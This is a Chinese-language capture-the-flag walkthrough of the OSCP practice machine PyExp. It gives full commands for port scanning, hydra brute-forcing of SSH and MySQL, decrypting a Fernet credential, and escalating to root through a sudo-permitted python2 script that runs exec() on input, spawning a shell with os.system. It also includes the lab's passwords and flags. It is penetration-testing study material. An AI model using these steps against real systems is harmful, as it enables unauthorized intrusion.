OSCP系列靶场-Esay-PyExp
字数 1502 2025-08-10 16:34:39
OSCP靶场渗透实战:PyExp靶机完整渗透指南
靶机概述
PyExp是一个难度为"Easy"的OSCP练习靶机,主要考察以下技术点:
- MySQL服务暴力破解
- Fernet加密数据解密
- Python脚本提权
- 基础信息收集与枚举技巧
环境准备
攻击机配置:
- IP地址:192.168.45.194
- 工具准备:nmap、hydra、mysql-client、python3
靶机信息:
- IP地址:192.168.203.118
- 开放端口:
- 1337/tcp:OpenSSH 7.9p1
- 3306/tcp:MySQL 5.5.5-10.3.23-MariaDB
渗透过程详解
1. 信息收集阶段
端口扫描
sudo nmap --min-rate 10000 -p- 192.168.203.118
发现开放端口:1337(SSH)、3306(MySQL)
服务版本探测
sudo nmap -sT -sV -O -sC -p1337,3306 192.168.203.118
确认服务版本:
- 1337/tcp:OpenSSH 7.9p1 Debian 10+deb10u2
- 3306/tcp:MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
2. SSH服务测试
登录方式检查
sudo ssh root@192.168.203.118 -v -p 1337
确认支持publickey和password两种认证方式
弱密码尝试
sudo ssh root@192.168.203.118 -p 1337
尝试常见弱密码(root/root等)失败
密码爆破(耗时较长)
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.118 ssh -s 1337
建议:爆破时可同时进行其他信息收集工作
3. MySQL服务渗透
默认凭证测试
mysql -h 192.168.203.118 -uroot -proot
失败后尝试爆破:
小字典爆破
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -vV 192.168.203.118 mysql
无结果后改用大字典:
大字典爆破(最终成功)
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 64 -vV 192.168.203.118 mysql
爆破成功获得密码:prettywoman
MySQL数据库枚举
mysql -h 192.168.203.118 -uroot -pprettywoman
执行以下SQL命令:
show databases;
use data;
show tables;
select * from fernet;
发现加密数据:
cred: gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy: UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
4. Fernet加密数据解密
使用Python解密:
from cryptography.fernet import Fernet
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
f.decrypt(token)
解密结果:b'lucy:wJ9"Lemdv9[FEw-'`
获得SSH凭证:
- 用户名:lucy
- 密码:wJ9`"Lemdv9[FEw-
5. 获取初始Shell
使用获得的凭证登录SSH:
sudo ssh lucy@192.168.203.118 -p1337
密码:wJ9`"Lemdv9[FEw-
获取第一个flag:
cat /home/lucy/local.txt
flag1:ebae58ce8fe13bf90c1ac089200656c0
6. 权限提升
系统信息收集
lsb_release -a # 系统版本
uname -a # 内核版本
id # 当前用户权限
sudo -l # 检查sudo权限
发现关键sudo权限:
User lucy may run the following commands on pyexp:
(root) NOPASSWD: /usr/bin/python2 /opt/exp.py
分析exp.py
cat /opt/exp.py
内容:
uinput = raw_input('how are you?')
exec(uinput)
Python提权
利用exec执行任意命令:
sudo /usr/bin/python2 /opt/exp.py
输入:
import os; os.system("/bin/sh")
成功获取root shell:
id # 显示uid=0(root)
获取root flag:
cat /root/proof.txt
flag2:419157ef0f5cab7409e0818499f4bda6
技术要点总结
-
MySQL暴力破解:
- 使用hydra进行爆破时,小字典无果后应尝试大字典
- 可考虑使用medusa作为替代工具,效率可能更高
-
Fernet加密解密:
- 识别加密方式(表名fernett提示)
- 使用Python cryptography库解密
- 注意key和token的格式处理
-
Python提权技巧:
- 检查sudo -l发现的特殊权限
- 分析可执行脚本的功能(本例中exec执行任意代码)
- 通过导入os模块执行系统命令
-
备选方案:
- MySQL中可使用
select load_file('/etc/passwd')读取系统文件 - 如果无法解密,可尝试其他方法如内核漏洞提权(但本例内核较新)
- MySQL中可使用
改进建议
-
爆破MySQL密码时可尝试:
- 使用更高效的爆破工具(如medusa)
- 优先尝试top密码而非完整字典
-
信息收集阶段可增加:
- 检查MySQL数据库中的其他表
- 尝试MySQL UDF提权(如果条件允许)
-
提权阶段可尝试:
- 检查其他常见的提权路径(SUID、cron jobs等)
- 即使有sudo权限也应全面枚举系统
本渗透过程展示了从信息收集到最终提权的完整路径,强调了暴力破解、加密数据解密和权限提升的关键技术点。